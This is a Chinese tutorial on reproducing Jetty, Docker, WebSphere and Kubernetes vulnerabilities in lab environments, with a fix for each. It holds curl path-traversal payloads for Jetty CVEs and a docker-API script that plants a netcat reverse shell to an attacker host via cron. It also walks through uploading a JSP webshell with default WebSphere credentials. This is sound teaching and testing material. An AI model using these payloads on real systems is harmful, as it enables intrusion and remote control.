中间件安全-CVE复现&K8s&Docker&Jetty&Websphere漏洞复现
字数 2936 2025-08-10 09:16:25

中间件安全漏洞复现与防御指南

目录

  1. Kubernetes (K8s) 安全
  2. Jetty 安全漏洞
  3. Docker 安全
  4. WebSphere 安全

Kubernetes (K8s) 安全

Kubernetes(简称K8s)是由Google开源的一个用于自动部署、扩展和管理容器化应用程序的开源系统。它能够跨多台主机进行容器编排、快速按需扩展容器化应用及其资源、对应用实施状况检查、服务发现和负载均衡等。

安全问题

  1. API Server未授权访问:如果API Server配置不当,攻击者可能直接访问集群资源
  2. Dashboard未授权访问:K8s Dashboard如果配置不当可能暴露集群信息
  3. etcd未授权访问:存储集群状态的etcd如果暴露可能导致信息泄露
  4. kubelet未授权访问:节点上的kubelet服务如果配置不当可能被利用
  5. 容器逃逸:容器配置不当可能导致突破容器隔离

安全建议

  • 实施RBAC权限控制
  • 启用网络策略限制Pod间通信
  • 定期更新K8s版本
  • 限制API Server的访问
  • 加密etcd存储

Jetty 安全漏洞

Jetty是一个开源的HTTP服务器和Servlet引擎,为基于Java的Web容器提供运行环境。相对于Tomcat,Jetty更加轻量、简易和灵活。

CVE-2021-28164 路径信息泄露漏洞

影响版本:Jetty 9.4.37(已在9.4.39修复)

漏洞原理
Jetty 9.4.37引入了更精确的RFC3986 URI解码实现,默认模式允许%编码访问WEB-INF目录中的受保护资源,可能泄露Web应用程序实现的敏感信息。

复现步骤

  1. 搭建Vulhub靶场环境
  2. 使用以下Payload访问敏感文件:
    curl -v "http://target-ip:8080/%2e/WEB-INF/web.xml"
    
    或直接在浏览器访问:
    http://target-ip:8080/%2e/WEB-INF/web.xml
    

修复方案
升级到Jetty 9.4.39或更高版本

CVE-2021-28169 双重解码信息泄露漏洞

影响版本:Jetty 9.4.40之前、10.0.2之前、11.0.2之前

漏洞原理
Jetty Servlet中的ConcatServletWelcomeFilter类存在双重解码错误,攻击者可利用它们下载WEB-INF目录中的任意敏感文件。

复现步骤

  1. 搭建Vulhub靶场环境
  2. 使用双URL编码绕过限制:
    curl -v "http://target-ip:8080/static?/%2557EB-INF/web.xml"
    
    或直接访问:
    http://target-ip:8080/static?/WEB-INF/web.xml
    

修复方案
升级到Jetty 9.4.40、10.0.2或11.0.2及以上版本

CVE-2021-34429 路径信息泄露漏洞

影响版本

  • Jetty 9.4.37-9.4.42
  • 10.0.1-10.0.5
  • 11.0.1-11.0.5

漏洞原理
这是CVE-2021-28164的变体和绕过,通过Unicode编码或空字节截断等方式泄露WEB-INF目录内容。

复现步骤

  1. 搭建Vulhub靶场环境
  2. 使用Unicode编码Payload:
    curl -v "http://target-ip:8080/%u002e/WEB-INF/web.xml"
    
    或使用空字节截断:
    /.%00/WEB-INF/web.xml
    /a/b/..%00/WEB-INF/web.xml
    

修复方案
升级到不受影响的Jetty版本

Docker 安全

Docker是一个开源的应用容器引擎,允许开发者打包应用及依赖到可移植的镜像中。

容器逃逸漏洞

检测容器环境

  1. 检查是否存在.dockerenv文件:
    ls -alh /.dockerenv
    
  2. 查询系统进程的cgroup信息:
    cat /proc/1/cgroup
    

容器逃逸类型

  1. 内核漏洞引起:如Dirty COW(CVE-2016-5195)

    • 利用工具:https://github.com/gebl/dirtycow-docker-vdso
    • 上传到docker环境,编译执行即可
  2. Docker软件设计引起

    • CVE-2019-5736:runc容器逃逸
    • CVE-2019-14271:containerd-shim API暴露
    • CVE-2020-15257:containerd API暴露
  3. 配置不当引起

    • 开启privileged(特权模式)
    • 宿主机目录挂载
    • 不合理的capabilities设置
    • 不安全的sock通信方式

Docker守护程序API未经授权访问漏洞

漏洞原理
Docker守护进程API如果暴露且未配置认证,攻击者可远程控制Docker服务。

复现步骤

  1. 搭建Vulhub靶场环境
  2. 使用Python脚本利用:
    import docker
    client = docker.DockerClient(base_url='http://target-ip:2375/')
    data = client.containers.run('alpine:latest', r'''sh -c "echo usr/bin/nc attacker-ip listen-port -e /bin/sh' >> /tmp/etc/crontabs/rumilc" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
    
  3. 在攻击机开启监听:
    nc -lvvp 8888
    
  4. 等待反弹shell

防御措施

  • 配置TLS认证
  • 限制Docker API的访问
  • 使用防火墙规则限制2375端口

WebSphere 安全

WebSphere是IBM的软件平台,提供了完整的中间件基础设施。

反序列化漏洞(CVE-2015-7450)

影响版本:多个WebSphere版本

漏洞原理
Apache Commons Collections (ACC) 3.2.1及4.0版本未能正确验证用户输入,其InvokerTransformer类在反序列化时存在安全漏洞,可导致远程代码执行。

复现步骤

  1. 拉取环境:
    docker pull iscrosales/websphere7
    
  2. 启动环境:
    docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7
    
  3. 访问8880端口,确认存在漏洞
  4. 使用工具直接利用,执行命令如whoami、pwd等

修复方案

  • 升级到不受影响的版本
  • 限制SOAP端口的访问

弱口令与后台Getshell

弱口令
在6.x至7.0版本,后台可能使用默认凭证:

  • websphere/websphere
  • system/manager
  • 有时仅需输入admin作为用户标识,无需密码

复现步骤

  1. 访问管理控制台:
    http://target-ip:9060/ibm/console/login.do
    
  2. 使用弱口令登录
  3. 进入"WebSphere企业应用程序",点击"安装"
  4. 创建包含JSP木马的WAR包并上传
    • 创建JSP木马文件
    • 压缩为ZIP后更名为WAR
  5. 填写上下文根(如/shell)
  6. 启动应用程序
  7. 访问木马:
    http://target-ip:9080/shell.jsp
    
  8. 使用哥斯拉等工具连接

防御措施

  • 修改默认凭证
  • 实施强密码策略
  • 限制管理控制台的访问
  • 定期更新补丁

CVE-2020-4450

漏洞原理
IBM WebSphere Application Server存在反序列化漏洞,攻击者可利用此漏洞在系统上执行任意代码。

影响

  • 机密性:完全(泄露所有数据)
  • 完整性:完全(可修改所有数据)
  • 可用性:完全(可造成服务拒绝)

修复方案
应用IBM提供的安全补丁

通用中间件安全测试流程

  1. 信息收集

    • 识别中间件名称、版本及第三方组件
    • 端口扫描与服务识别
  2. 漏洞识别

    • 检查配置不当问题
    • 查找公开漏洞
    • 检查默认/弱口令
  3. 漏洞利用

    • 使用弱口令爆破
    • 应用公开EXP
    • 利用框架特定漏洞
  4. 权限提升

    • 容器逃逸
    • 横向移动
    • 持久化控制

防御建议

  1. 及时更新:保持中间件和组件为最新版本
  2. 最小权限:遵循最小权限原则配置服务和账户
  3. 安全配置
    • 禁用不必要的服务和功能
    • 强化默认配置
  4. 网络隔离
    • 使用防火墙限制访问
    • 实施网络分段
  5. 监控审计
    • 记录安全相关事件
    • 实施异常行为检测
  6. 安全开发
    • 安全编码实践
    • 定期安全测试
中间件安全漏洞复现与防御指南 目录 Kubernetes (K8s) 安全 Jetty 安全漏洞 CVE-2021-28164 路径信息泄露漏洞 CVE-2021-28169 双重解码信息泄露漏洞 CVE-2021-34429 路径信息泄露漏洞 Docker 安全 容器逃逸漏洞 Docker守护程序API未经授权访问漏洞 WebSphere 安全 反序列化漏洞(CVE-2015-7450) 弱口令与后台Getshell CVE-2020-4450 Kubernetes (K8s) 安全 Kubernetes(简称K8s)是由Google开源的一个用于自动部署、扩展和管理容器化应用程序的开源系统。它能够跨多台主机进行容器编排、快速按需扩展容器化应用及其资源、对应用实施状况检查、服务发现和负载均衡等。 安全问题 API Server未授权访问 :如果API Server配置不当,攻击者可能直接访问集群资源 Dashboard未授权访问 :K8s Dashboard如果配置不当可能暴露集群信息 etcd未授权访问 :存储集群状态的etcd如果暴露可能导致信息泄露 kubelet未授权访问 :节点上的kubelet服务如果配置不当可能被利用 容器逃逸 :容器配置不当可能导致突破容器隔离 安全建议 实施RBAC权限控制 启用网络策略限制Pod间通信 定期更新K8s版本 限制API Server的访问 加密etcd存储 Jetty 安全漏洞 Jetty是一个开源的HTTP服务器和Servlet引擎,为基于Java的Web容器提供运行环境。相对于Tomcat,Jetty更加轻量、简易和灵活。 CVE-2021-28164 路径信息泄露漏洞 影响版本 :Jetty 9.4.37(已在9.4.39修复) 漏洞原理 : Jetty 9.4.37引入了更精确的RFC3986 URI解码实现,默认模式允许%编码访问WEB-INF目录中的受保护资源,可能泄露Web应用程序实现的敏感信息。 复现步骤 : 搭建Vulhub靶场环境 使用以下Payload访问敏感文件: 或直接在浏览器访问: 修复方案 : 升级到Jetty 9.4.39或更高版本 CVE-2021-28169 双重解码信息泄露漏洞 影响版本 :Jetty 9.4.40之前、10.0.2之前、11.0.2之前 漏洞原理 : Jetty Servlet中的 ConcatServlet 和 WelcomeFilter 类存在双重解码错误,攻击者可利用它们下载WEB-INF目录中的任意敏感文件。 复现步骤 : 搭建Vulhub靶场环境 使用双URL编码绕过限制: 或直接访问: 修复方案 : 升级到Jetty 9.4.40、10.0.2或11.0.2及以上版本 CVE-2021-34429 路径信息泄露漏洞 影响版本 : Jetty 9.4.37-9.4.42 10.0.1-10.0.5 11.0.1-11.0.5 漏洞原理 : 这是CVE-2021-28164的变体和绕过,通过Unicode编码或空字节截断等方式泄露WEB-INF目录内容。 复现步骤 : 搭建Vulhub靶场环境 使用Unicode编码Payload: 或使用空字节截断: 修复方案 : 升级到不受影响的Jetty版本 Docker 安全 Docker是一个开源的应用容器引擎,允许开发者打包应用及依赖到可移植的镜像中。 容器逃逸漏洞 检测容器环境 : 检查是否存在.dockerenv文件: 查询系统进程的cgroup信息: 容器逃逸类型 : 内核漏洞引起 :如Dirty COW(CVE-2016-5195) 利用工具:https://github.com/gebl/dirtycow-docker-vdso 上传到docker环境,编译执行即可 Docker软件设计引起 : CVE-2019-5736:runc容器逃逸 CVE-2019-14271:containerd-shim API暴露 CVE-2020-15257:containerd API暴露 配置不当引起 : 开启privileged(特权模式) 宿主机目录挂载 不合理的capabilities设置 不安全的sock通信方式 Docker守护程序API未经授权访问漏洞 漏洞原理 : Docker守护进程API如果暴露且未配置认证,攻击者可远程控制Docker服务。 复现步骤 : 搭建Vulhub靶场环境 使用Python脚本利用: 在攻击机开启监听: 等待反弹shell 防御措施 : 配置TLS认证 限制Docker API的访问 使用防火墙规则限制2375端口 WebSphere 安全 WebSphere是IBM的软件平台,提供了完整的中间件基础设施。 反序列化漏洞(CVE-2015-7450) 影响版本 :多个WebSphere版本 漏洞原理 : Apache Commons Collections (ACC) 3.2.1及4.0版本未能正确验证用户输入,其InvokerTransformer类在反序列化时存在安全漏洞,可导致远程代码执行。 复现步骤 : 拉取环境: 启动环境: 访问8880端口,确认存在漏洞 使用工具直接利用,执行命令如whoami、pwd等 修复方案 : 升级到不受影响的版本 限制SOAP端口的访问 弱口令与后台Getshell 弱口令 : 在6.x至7.0版本,后台可能使用默认凭证: websphere/websphere system/manager 有时仅需输入admin作为用户标识,无需密码 复现步骤 : 访问管理控制台: 使用弱口令登录 进入"WebSphere企业应用程序",点击"安装" 创建包含JSP木马的WAR包并上传 创建JSP木马文件 压缩为ZIP后更名为WAR 填写上下文根(如/shell) 启动应用程序 访问木马: 使用哥斯拉等工具连接 防御措施 : 修改默认凭证 实施强密码策略 限制管理控制台的访问 定期更新补丁 CVE-2020-4450 漏洞原理 : IBM WebSphere Application Server存在反序列化漏洞,攻击者可利用此漏洞在系统上执行任意代码。 影响 : 机密性:完全(泄露所有数据) 完整性:完全(可修改所有数据) 可用性:完全(可造成服务拒绝) 修复方案 : 应用IBM提供的安全补丁 通用中间件安全测试流程 信息收集 : 识别中间件名称、版本及第三方组件 端口扫描与服务识别 漏洞识别 : 检查配置不当问题 查找公开漏洞 检查默认/弱口令 漏洞利用 : 使用弱口令爆破 应用公开EXP 利用框架特定漏洞 权限提升 : 容器逃逸 横向移动 持久化控制 防御建议 及时更新 :保持中间件和组件为最新版本 最小权限 :遵循最小权限原则配置服务和账户 安全配置 : 禁用不必要的服务和功能 强化默认配置 网络隔离 : 使用防火墙限制访问 实施网络分段 监控审计 : 记录安全相关事件 实施异常行为检测 安全开发 : 安全编码实践 定期安全测试